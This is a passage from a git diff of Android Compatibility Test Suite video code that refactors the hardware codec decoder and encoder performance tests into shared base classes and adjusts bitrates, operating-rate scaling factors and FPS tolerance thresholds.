-        mDecoderFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-        mOperatingRateExpected = getMaxOperatingRate(mDecoderName, mDecoderMime);
-        if (mMaxOpRateScalingFactor > 0.0f) {
-            int operatingRateToSet = (int) (mOperatingRateExpected * mMaxOpRateScalingFactor);
-            if (mMaxOpRateScalingFactor < 1.0f) {
-                mOperatingRateExpected = operatingRateToSet;
-            }
-            mDecoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
-        }
-    }
-
     /**
      * Validates performance of hardware accelerated video decoders
      */
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    public void testPerformanceOfHardwareVideoDecoders() throws Exception {
-        MediaFormat format = setUpDecoderInput();
-        assertNotNull("Video track not present in " + mTestFile, format);
-        mActivityRule.getActivity().waitTillSurfaceIsCreated();
-        mSurface = mActivityRule.getActivity().getSurface();
-        assertTrue("Surface created is null.", mSurface != null);
-        assertTrue("Surface created is invalid.", mSurface.isValid());
-        setUpFormat(format);
-        mDecoder = MediaCodec.createByCodecName(mDecoderName);
-        mDecoder.configure(mDecoderFormat, mSurface, null, 0);
-        mDecoder.start();
-        long start = System.currentTimeMillis();
-        doWork();
-        long finish = System.currentTimeMillis();
-        mDecoder.stop();
-        mDecoder.release();
-        assertTrue("Decoder output count is zero", mDecOutputNum > 0);
-        double achievedFps = mDecOutputNum / ((finish - start) / 1000.0);
-        String log = String.format("DecodeMime: %s, Decoder: %s, resolution: %dp, " +
-                "Key-priority: %d :: ", mDecoderMime, mDecoderName, mHeight, mKeyPriority);
-        Log.d(LOG_TAG, log + "act/exp fps: " + achievedFps + "/" + mOperatingRateExpected);
-        assertTrue("Unable to achieve the expected rate. " + log + "act/exp fps: " + achievedFps
-                + "/" + mOperatingRateExpected, achievedFps >= mOperatingRateExpected);
-    }
-
-    void doWork() {
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        while (!mSawDecOutputEOS) {
-            if (!mSawDecInputEOS) {
-                int inputBufIndex = mDecoder.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
-                if (inputBufIndex >= 0) {
-                    enqueueDecoderInput(inputBufIndex);
-                }
-            }
-            int outputBufIndex = mDecoder.dequeueOutputBuffer(info, Q_DEQ_TIMEOUT_US);
-            if (outputBufIndex >= 0) {
-                dequeueDecoderOutput(outputBufIndex, info, false);
-            }
-        }
+    public void testPerformanceOfHardwareVideoDecoders() throws IOException, InterruptedException {
+        decode();
+        String log = String.format("DecodeMime: %s, Decoder: %s, resolution: %dp, Key-priority: " +
+                "%d :: ", mDecoderMime, mDecoderName, mHeight, mKeyPriority);
+        int maxExpectedFps = getMaxExpectedFps(mWidth, mHeight);
+        double expectedFps =
+                Math.min(mOperatingRateExpected * FPS_TOLERANCE_FACTOR, maxExpectedFps);
+        Log.d(LOG_TAG, log + "act/exp fps: " + mAchievedFps + "/" + expectedFps);
+        assertTrue("Unable to achieve the expected rate. " + log + "act/exp fps: " + mAchievedFps
+                + "/" + expectedFps, mAchievedFps >= expectedFps);
     }
 }
diff --git a/tests/video/src/android/video/cts/CodecDecoderPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecDecoderPerformanceTestBase.java
new file mode 100644
index 0000000..bd0c129
--- /dev/null
+++ b/tests/video/src/android/video/cts/CodecDecoderPerformanceTestBase.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.video.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.Rule;
+
+import java.io.IOException;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+class CodecDecoderPerformanceTestBase extends CodecPerformanceTestBase {
+    private static final String LOG_TAG = CodecDecoderPerformanceTestBase.class.getSimpleName();
+
+    double mAchievedFps;
+
+    @Rule
+    public ActivityTestRule<CodecTestActivity> mActivityRule =
+            new ActivityTestRule<>(CodecTestActivity.class);
+
+    public CodecDecoderPerformanceTestBase(String decoderName, String testFile, int keyPriority,
+            float scalingFactor) {
+        super(decoderName, testFile, keyPriority, scalingFactor);
+    }
+
+    private void setUpFormat(MediaFormat format) throws IOException {
+        mDecoderFormat = new MediaFormat(format);
+        mDecoderFormat.setInteger(MediaFormat.KEY_PRIORITY, mKeyPriority);
+        mDecoderFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+        mOperatingRateExpected = getMaxOperatingRate(mDecoderName, mDecoderMime);
+        if (mMaxOpRateScalingFactor > 0.0f) {
+            int operatingRateToSet = (int) (mOperatingRateExpected * mMaxOpRateScalingFactor);
+            if (mMaxOpRateScalingFactor < 1.0f) {
+                mOperatingRateExpected = operatingRateToSet;
+            }
+            mDecoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
+        } else if (mMaxOpRateScalingFactor < 0.0f) {
+            mDecoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, -1);
+        }
+    }
+
+    private void doWork() {
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        while (!mSawDecOutputEOS) {
+            if (!mSawDecInputEOS) {
+                int inputBufIndex = mDecoder.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+                if (inputBufIndex >= 0) {
+                    enqueueDecoderInput(inputBufIndex);
+                }
+            }
+            int outputBufIndex = mDecoder.dequeueOutputBuffer(info, Q_DEQ_TIMEOUT_US);
+            if (outputBufIndex >= 0) {
+                dequeueDecoderOutput(outputBufIndex, info, false);
+            }
+        }
+    }
+
+    public void decode() throws IOException, InterruptedException {
+        MediaFormat format = setUpDecoderInput();
+        assertNotNull("Video track not present in " + mTestFile, format);
+        mActivityRule.getActivity().waitTillSurfaceIsCreated();
+        mSurface = mActivityRule.getActivity().getSurface();
+        assertTrue("Surface created is null.", mSurface != null);
+        assertTrue("Surface created is invalid.", mSurface.isValid());
+        setUpFormat(format);
+        mDecoder = MediaCodec.createByCodecName(mDecoderName);
+        mDecoder.configure(mDecoderFormat, mSurface, null, 0);
+        mDecoder.start();
+        long start = System.currentTimeMillis();
+        doWork();
+        long finish = System.currentTimeMillis();
+        mDecoder.stop();
+        mDecoder.release();
+        mDecoder = null;
+        mSurface.release();
+        mSurface = null;
+        assertTrue("Decoder output count is zero", mDecOutputNum > 0);
+        mAchievedFps = mDecOutputNum / ((finish - start) / 1000.0);
+    }
+
+    @Override
+    protected void finalize() throws Throwable {
+        if (mDecoder != null) {
+            mDecoder.release();
+            mDecoder = null;
+        }
+        if (mSurface != null) {
+            mSurface.release();
+            mSurface = null;
+        }
+    }
+}
diff --git a/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java b/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java
index db95ea0..973e2dd 100644
--- a/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java
+++ b/tests/video/src/android/video/cts/CodecEncoderPerformanceTest.java
@@ -16,12 +16,8 @@
 
 package android.video.cts;
 
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
 import android.media.MediaFormat;
 import android.util.Log;
-import android.view.Surface;
 
 import androidx.test.filters.LargeTest;
 
@@ -33,11 +29,8 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
-import java.util.HashMap;
 import java.util.List;
-import java.util.Map;
 
-import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 /**
@@ -49,77 +42,24 @@
  * to be met for encoders.
  */
 @RunWith(Parameterized.class)
-public class CodecEncoderPerformanceTest extends CodecPerformanceTestBase {
+public class CodecEncoderPerformanceTest extends CodecEncoderPerformanceTestBase {
     private static final String LOG_TAG = CodecEncoderPerformanceTest.class.getSimpleName();
-    private static final Map<String, Float> transcodeAVCToTargetBitrateMap = new HashMap<>();
-
-    private final String mEncoderMime;
-    private final String mEncoderName;
-    private final int mBitrateAVC;
-
-    private boolean mSawEncInputEOS = false;
-    private boolean mSawEncOutputEOS = false;
-    private int mEncOutputNum = 0;
-    private MediaCodec mEncoder;
-    private MediaFormat mEncoderFormat;
-
-    // Suggested bitrate scaling factors for transcoding avc to target format.
-    static {
-        transcodeAVCToTargetBitrateMap.put(MediaFormat.MIMETYPE_VIDEO_VP8, 1.25f);
-        transcodeAVCToTargetBitrateMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, 1.0f);
-        transcodeAVCToTargetBitrateMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, 0.7f);
-        transcodeAVCToTargetBitrateMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, 0.6f);
-        transcodeAVCToTargetBitrateMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, 0.4f);
-    }
 
     public CodecEncoderPerformanceTest(String decoderName, String testFile, String encoderMime,
             String encoderName, int bitrate, int keyPriority, float scalingFactor) {
-        super(decoderName, testFile, keyPriority, scalingFactor);
-        mEncoderMime = encoderMime;
-        mEncoderName = encoderName;
-        mBitrateAVC = bitrate;
-    }
-
-    static ArrayList<String> getMimesOfAvailableHardwareVideoEncoders() {
-        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
-        ArrayList<String> listOfMimes = new ArrayList<>();
-        for (MediaCodecInfo codecInfo : codecInfos) {
-            if (!codecInfo.isEncoder() || !codecInfo.isHardwareAccelerated()) continue;
-            String[] types = codecInfo.getSupportedTypes();
-            for (String type : types) {
-                if (type.startsWith("video/") && !listOfMimes.contains(type)) {
-                    listOfMimes.add(type);
-                }
-            }
-        }
-        return listOfMimes;
-    }
-
-    private static MediaFormat setUpEncoderFormat(MediaFormat format, String mime, int bitrate) {
-        MediaFormat fmt = new MediaFormat();
-        fmt.setString(MediaFormat.KEY_MIME, mime);
-        fmt.setInteger(MediaFormat.KEY_WIDTH, format.getInteger(MediaFormat.KEY_WIDTH));
-        fmt.setInteger(MediaFormat.KEY_HEIGHT, format.getInteger(MediaFormat.KEY_HEIGHT));
-        fmt.setInteger(MediaFormat.KEY_BIT_RATE,
-                (int) (bitrate * transcodeAVCToTargetBitrateMap.getOrDefault(mime, 1.5f)));
-        fmt.setInteger(MediaFormat.KEY_FRAME_RATE,
-                format.getInteger(MediaFormat.KEY_FRAME_RATE,30));
-        fmt.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
-        fmt.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-        return fmt;
+        super(decoderName, testFile, encoderMime, encoderName, bitrate, keyPriority, scalingFactor);
     }
 
     @Parameterized.Parameters(name = "{index}({0}_{2}_{3}_{5}_{6})")
     public static Collection<Object[]> input() throws IOException {
         final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 // Filename, Recommended AVC bitrate
-                {"crowd_run_720x480_30fps_avc.mp4", 200000},
+                {"crowd_run_720x480_30fps_avc.mp4", 2000000},
                 {"crowd_run_1280x720_30fps_avc.mp4", 4000000},
                 {"crowd_run_1920x1080_30fps_avc.mp4", 8000000},
                 {"crowd_run_3840x2160_30fps_hevc.mp4", 20000000},
-                {"crowd_run_7680x4320_30fps_hevc.mp4", 40000000},
+                // TODO (b/194721211) Enable 8k tests
+                //{"crowd_run_7680x4320_30fps_hevc.mp4", 40000000},
         });
         // Prepares the params list with the supported Hardware decoder, encoders in the device
         // combined with the key priority and scaling factor
@@ -140,7 +80,9 @@
             if (listOfDecoders.size() == 0) continue;
             String decoder = listOfDecoders.get(0);
             for (String encoderMime : getMimesOfAvailableHardwareVideoEncoders()) {
-                MediaFormat mockFmt = setUpEncoderFormat(format, encoderMime, (int) arg[1]);
+                // Calculate the bitrate based on the encode mime.
+                int bitrate = (int)(((int) arg[1]) * getBitrateScalingFactor(encoderMime));
+                MediaFormat mockFmt = setUpEncoderFormat(format, encoderMime, bitrate);
                 ArrayList<MediaFormat> mockFmtList = new ArrayList<>();
                 mockFmtList.add(mockFmt);
                 ArrayList<String> listOfEncoders = selectHardwareCodecs(encoderMime, mockFmtList,
@@ -150,7 +92,7 @@
                         for (float scalingFactor : SCALING_FACTORS_LIST) {
                             if (keyPriority == 1 || (scalingFactor > 0.0 && scalingFactor <= 1.0)) {
                                 argsList.add(new Object[]{decoder, arg[0], encoderMime, encoder,
-                                        arg[1], keyPriority, scalingFactor});
+                                        bitrate, keyPriority, scalingFactor});
                             }
                         }
                     }
@@ -160,91 +102,21 @@
         return argsList;
     }
 
-    private void dequeueEncoderOutput(int bufferIndex, MediaCodec.BufferInfo info) {
-        if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
-            mEncOutputNum++;
-        }
-        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-            mSawEncOutputEOS = true;
-        }
-        mEncoder.releaseOutputBuffer(bufferIndex, false);
-    }
-
-    private void setUpFormats(MediaFormat format) throws Exception {
-        mDecoderFormat = new MediaFormat(format);
-        mDecoderFormat.setInteger(MediaFormat.KEY_PRIORITY, mKeyPriority);
-        mEncoderFormat = setUpEncoderFormat(mDecoderFormat, mEncoderMime, mBitrateAVC);
-        mEncoderFormat.setInteger(MediaFormat.KEY_PRIORITY, mKeyPriority);
-
-        double maxOperatingRateDecoder = getMaxOperatingRate(mDecoderName, mDecoderMime);
-        double maxOperatingRateEncoder = getMaxOperatingRate(mEncoderName, mEncoderMime);
-        mOperatingRateExpected = Math.min(maxOperatingRateDecoder, maxOperatingRateEncoder);
-        if (mMaxOpRateScalingFactor > 0.0f) {
-            int operatingRateToSet = (int) (mOperatingRateExpected * mMaxOpRateScalingFactor);
-            if (mMaxOpRateScalingFactor < 1.0f) {
-                mOperatingRateExpected = operatingRateToSet;
-            }
-            mDecoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
-            mEncoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
-        }
-        mOperatingRateExpected /= 2.0;
-    }
-
     /**
      * Validates performance of hardware accelerated video encoders
      */
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
-    public void testPerformanceOfHardwareVideoEncoders() throws Exception {
-        MediaFormat format = setUpDecoderInput();
-        assertNotNull("Video track not present in " + mTestFile, format);
-        setUpFormats(format);
-        mDecoder = MediaCodec.createByCodecName(mDecoderName);
-        mEncoder = MediaCodec.createByCodecName(mEncoderName);
-        mEncoder.configure(mEncoderFormat, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
-        Surface surface = mEncoder.createInputSurface();
-        assertTrue("Surface is not valid", surface.isValid());
-        mDecoder.configure(mDecoderFormat, surface, null, 0);
-        mDecoder.start();
-        mEncoder.start();
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-        long start = System.currentTimeMillis();
-        while (!mSawEncOutputEOS) {
-            if (!mSawDecInputEOS) {
-                int inputBufIndex = mDecoder.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
-                if (inputBufIndex >= 0) {
-                    enqueueDecoderInput(inputBufIndex);
-                }
-            }
-            if (!mSawDecOutputEOS) {
-                int outputBufIndex = mDecoder.dequeueOutputBuffer(info, Q_DEQ_TIMEOUT_US);
-                if (outputBufIndex >= 0) {
-                    dequeueDecoderOutput(outputBufIndex, info, true);
-                }
-            }
-            if (mSawDecOutputEOS && !mSawEncInputEOS) {
-                mEncoder.signalEndOfInputStream();
-                mSawEncInputEOS = true;
-            }
-            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
-            int outputBufferId = mEncoder.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
-            if (outputBufferId >= 0) {
-                dequeueEncoderOutput(outputBufferId, outInfo);
-            }
-        }
-        long finish = System.currentTimeMillis();
-        mEncoder.stop();
-        surface.release();
-        mEncoder.release();
-        mDecoder.stop();
-        mDecoder.release();
-        assertTrue("Encoder output count is zero", mEncOutputNum > 0);
-        double achievedFps = mEncOutputNum / ((finish - start) / 1000.0);
-        String log = String.format("DecodeMime: %s, Decoder: %s, resolution: %dp, " +
-                "EncodeMime: %s, Encoder: %s, Key-priority: %d :: ", mDecoderMime, mDecoderName,
-                mHeight, mEncoderMime, mEncoderName, mKeyPriority);
-        Log.d(LOG_TAG, log + "act/exp fps: " + achievedFps + "/" + mOperatingRateExpected);
-        assertTrue("Unable to achieve the expected rate. " + log + "act/exp fps: " + achievedFps
-                + "/" + mOperatingRateExpected, achievedFps >= mOperatingRateExpected);
+    public void testPerformanceOfHardwareVideoEncoders() throws IOException {
+        encode();
+        String log = String.format("DecodeMime: %s, Decoder: %s, resolution: %dp, EncodeMime: %s," +
+                " Encoder: %s, Key-priority: %d :: ", mDecoderMime, mDecoderName, mHeight,
+                mEncoderMime, mEncoderName, mKeyPriority);
+        int maxExpectedFps = getMaxExpectedFps(mWidth, mHeight);
+        double expectedFps =
+                Math.min(mOperatingRateExpected * FPS_TOLERANCE_FACTOR, maxExpectedFps);
+        Log.d(LOG_TAG, log + "act/exp fps: " + mAchievedFps + "/" + expectedFps);
+        assertTrue("Unable to achieve the expected rate. " + log + "act/exp fps: " + mAchievedFps
+                + "/" + expectedFps, mAchievedFps >= expectedFps);
     }
 }
diff --git a/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
new file mode 100644
index 0000000..d95e069
--- /dev/null
+++ b/tests/video/src/android/video/cts/CodecEncoderPerformanceTestBase.java
@@ -0,0 +1,207 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.video.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Map;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+class CodecEncoderPerformanceTestBase extends CodecPerformanceTestBase {
+    private static final String LOG_TAG = CodecEncoderPerformanceTest.class.getSimpleName();
+    private static final Map<String, Float> transcodeAVCToTargetBitrateMap = new HashMap<>();
+
+    final String mEncoderMime;
+    final String mEncoderName;
+    final int mBitrate;
+    double mAchievedFps;
+
+    private boolean mSawEncInputEOS = false;
+    private boolean mSawEncOutputEOS = false;
+    private int mEncOutputNum = 0;
+    private MediaCodec mEncoder;
+    private MediaFormat mEncoderFormat;
+
+    // Suggested bitrate scaling factors for transcoding avc to target format.
+    static {
+        transcodeAVCToTargetBitrateMap.put(MediaFormat.MIMETYPE_VIDEO_VP8, 1.25f);
+        transcodeAVCToTargetBitrateMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, 1.0f);
+        transcodeAVCToTargetBitrateMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, 0.7f);
+        transcodeAVCToTargetBitrateMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, 0.6f);
+        transcodeAVCToTargetBitrateMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, 0.4f);
+    }
+
+    public static float getBitrateScalingFactor(String mime) {
+        return transcodeAVCToTargetBitrateMap.getOrDefault(mime, 1.5f);
+    }
+
+    public CodecEncoderPerformanceTestBase(String decoderName, String testFile, String encoderMime,
+            String encoderName, int bitrate, int keyPriority, float scalingFactor) {
+        super(decoderName, testFile, keyPriority, scalingFactor);
+        mEncoderMime = encoderMime;
+        mEncoderName = encoderName;
+        mBitrate = bitrate;
+    }
+
+    static ArrayList<String> getMimesOfAvailableHardwareVideoEncoders() {
+        MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
+        ArrayList<String> listOfMimes = new ArrayList<>();
+        for (MediaCodecInfo codecInfo : codecInfos) {
+            if (!codecInfo.isEncoder() || !codecInfo.isHardwareAccelerated()) continue;
+            String[] types = codecInfo.getSupportedTypes();
+            for (String type : types) {
+                if (type.startsWith("video/") && !listOfMimes.contains(type)) {
+                    listOfMimes.add(type);
+                }
+            }
+        }
+        return listOfMimes;
+    }
+
+    public static MediaFormat setUpEncoderFormat(MediaFormat format, String mime, int bitrate) {
+        MediaFormat fmt = new MediaFormat();
+        fmt.setString(MediaFormat.KEY_MIME, mime);
+        fmt.setInteger(MediaFormat.KEY_WIDTH, format.getInteger(MediaFormat.KEY_WIDTH));
+        fmt.setInteger(MediaFormat.KEY_HEIGHT, format.getInteger(MediaFormat.KEY_HEIGHT));
+        fmt.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+        fmt.setInteger(MediaFormat.KEY_FRAME_RATE,
+                format.getInteger(MediaFormat.KEY_FRAME_RATE, 30));
+        fmt.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
+        fmt.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+                MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
+        return fmt;
+    }
+
+    private void dequeueEncoderOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+        if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+            mEncOutputNum++;
+        }
+        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+            mSawEncOutputEOS = true;
+        }
+        mEncoder.releaseOutputBuffer(bufferIndex, false);
+    }
+
+    private void setUpFormats(MediaFormat format) throws IOException {
+        mDecoderFormat = new MediaFormat(format);
+        mDecoderFormat.setInteger(MediaFormat.KEY_PRIORITY, mKeyPriority);
+        mEncoderFormat = setUpEncoderFormat(mDecoderFormat, mEncoderMime, mBitrate);
+        mEncoderFormat.setInteger(MediaFormat.KEY_PRIORITY, mKeyPriority);
+        double maxOperatingRateDecoder = getMaxOperatingRate(mDecoderName, mDecoderMime);
+        double maxOperatingRateEncoder = getMaxOperatingRate(mEncoderName, mEncoderMime);
+        mOperatingRateExpected = Math.min(maxOperatingRateDecoder, maxOperatingRateEncoder);
+        // As both decoder and encoder are running in concurrently, expected rate is halved
+        mOperatingRateExpected /= 2.0;
+        if (mMaxOpRateScalingFactor > 0.0f) {
+            int operatingRateToSet = (int) (mOperatingRateExpected * mMaxOpRateScalingFactor);
+            if (mMaxOpRateScalingFactor < 1.0f) {
+                mOperatingRateExpected = operatingRateToSet;
+            }
+            mDecoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
+            mEncoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, operatingRateToSet);
+        } else if (mMaxOpRateScalingFactor < 0.0f) {
+            mDecoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, -1);
+            mEncoderFormat.setInteger(MediaFormat.KEY_OPERATING_RATE, -1);
+        }
+        mEncoderFormat.setInteger(MediaFormat.KEY_COMPLEXITY,
+                getEncoderMinComplexity(mEncoderName, mEncoderMime));
+    }
+
+    private void doWork() {
+        while (!mSawEncOutputEOS) {
+            if (!mSawDecInputEOS) {
+                int inputBufIndex = mDecoder.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+                if (inputBufIndex >= 0) {
+                    enqueueDecoderInput(inputBufIndex);
+                }
+            }
+            if (!mSawDecOutputEOS) {
+                MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+                int outputBufIndex = mDecoder.dequeueOutputBuffer(info, Q_DEQ_TIMEOUT_US);
+                if (outputBufIndex >= 0) {
+                    dequeueDecoderOutput(outputBufIndex, info, true);
+                }
+            }
+            if (mSawDecOutputEOS && !mSawEncInputEOS) {
+                mEncoder.signalEndOfInputStream();
+                mSawEncInputEOS = true;
+            }
+            MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+            int outputBufferId = mEncoder.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+            if (outputBufferId >= 0) {
+                dequeueEncoderOutput(outputBufferId, outInfo);
+            }
+        }
+    }
+
+    public void encode() throws IOException {
+        MediaFormat format = setUpDecoderInput();
+        assertNotNull("Video track not present in " + mTestFile, format);
+
+        if (EXCLUDE_ENCODER_MAX_RESOLUTION) {
+            int maxFrameSize = getMaxFrameSize(mEncoderName, mEncoderMime);
+            assumeTrue(mWidth + "x" + mHeight + " is skipped as it not less than half of " +
+                    "maximum frame size: " + maxFrameSize + " supported by the encoder.",
+                    mWidth * mHeight < maxFrameSize / 2);
+        }
+
+        setUpFormats(format);
+        mDecoder = MediaCodec.createByCodecName(mDecoderName);
+        mEncoder = MediaCodec.createByCodecName(mEncoderName);
+        mEncoder.configure(mEncoderFormat, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
+        mSurface = mEncoder.createInputSurface();
+        assertTrue("Surface created is null.", mSurface != null);
+        assertTrue("Surface is not valid", mSurface.isValid());
+        mDecoder.configure(mDecoderFormat, mSurface, null, 0);
+        mDecoder.start();
+        mEncoder.start();
+        long start = System.currentTimeMillis();
+        doWork();
+        long finish = System.currentTimeMillis();
+        mEncoder.stop();
+        mSurface.release();
+        mEncoder.release();
+        mDecoder.stop();
+        mDecoder.release();
+        mEncoder = null;
+        mDecoder = null;
+        assertTrue("Encoder output count is zero", mEncOutputNum > 0);
+        mAchievedFps = mEncOutputNum / ((finish - start) / 1000.0);
+    }
+
+    @Override
+    protected void finalize() throws Throwable {
+        if (mDecoder != null) {
+            mDecoder.release();
+            mDecoder = null;
+        }
+        if (mEncoder != null) {
+            mEncoder.release();
+            mEncoder = null;
+        }
+    }
+}
diff --git a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
index cf4caed..5a34fce 100644
--- a/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
+++ b/tests/video/src/android/video/cts/CodecPerformanceTestBase.java
@@ -22,6 +22,9 @@
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.os.Build;
+import android.os.SystemProperties;
+import android.util.Range;
+import android.view.Surface;
 
 import java.io.File;
 import java.io.IOException;
@@ -29,8 +32,10 @@
 import java.util.ArrayList;
 import java.util.List;
 
+import org.junit.Before;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 class CodecPerformanceTestBase {
     private static final String LOG_TAG = CodecPerformanceTestBase.class.getSimpleName();
@@ -40,6 +45,19 @@
     static final int SELECT_ALL = 0; // Select all codecs
     static final int SELECT_HARDWARE = 1; // Select Hardware codecs only
     static final int SELECT_SOFTWARE = 2; // Select Software codecs only
+    // allowed tolerance in measured fps vs expected fps, i.e. codecs achieving fps
+    // that is greater than (FPS_TOLERANCE_FACTOR * expectedFps) will be considered as
+    // passing the test
+    static final double FPS_TOLERANCE_FACTOR;
+    static final boolean IS_AT_LEAST_VNDK_S;
+
+    static final int DEVICE_INITIAL_SDK;
+
+    // Some older devices can not support concurrent instances of both decoder and encoder
+    // at max resolution. To handle such cases, this test is limited to test the
+    // resolutions that are less than half of max supported frame sizes of encoder.
+    static final boolean EXCLUDE_ENCODER_MAX_RESOLUTION;
+
     static final String mInputPrefix = WorkDir.getMediaDirString();
 
     ArrayList<MediaCodec.BufferInfo> mBufferInfos;
@@ -63,11 +81,42 @@
 
     MediaCodec mDecoder;
     MediaFormat mDecoderFormat;
+    Surface mSurface;
     double mOperatingRateExpected;
 
-    static final float[] SCALING_FACTORS_LIST = new float[]{2.0f, 1.25f, 1.0f, 0.75f, 0.0f};
+    static final float[] SCALING_FACTORS_LIST = new float[]{2.5f, 1.25f, 1.0f, 0.75f, 0.0f, -1.0f};
     static final int[] KEY_PRIORITIES_LIST = new int[]{1, 0};
 
+    static {
+        // os.Build.VERSION.DEVICE_INITIAL_SDK_INT can be used here, but it was called
+        // os.Build.VERSION.FIRST_SDK_INT in Android R and below. Using DEVICE_INITIAL_SDK_INT
+        // will mean that the tests built in Android S can't be run on Android R and below.
+        DEVICE_INITIAL_SDK = SystemProperties.getInt("ro.product.first_api_level", 0);
+
+        // fps tolerance factor is kept quite low for devices launched on Android R and lower
+        FPS_TOLERANCE_FACTOR = DEVICE_INITIAL_SDK <= Build.VERSION_CODES.R ? 0.67 : 0.95;
+
+        IS_AT_LEAST_VNDK_S = SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.R;
+
+        // Encoders on devices launched on Android Q and lower aren't tested at maximum resolution
+        EXCLUDE_ENCODER_MAX_RESOLUTION = DEVICE_INITIAL_SDK <= Build.VERSION_CODES.Q;
+    }
+
+    @Before
+    public void prologue() {
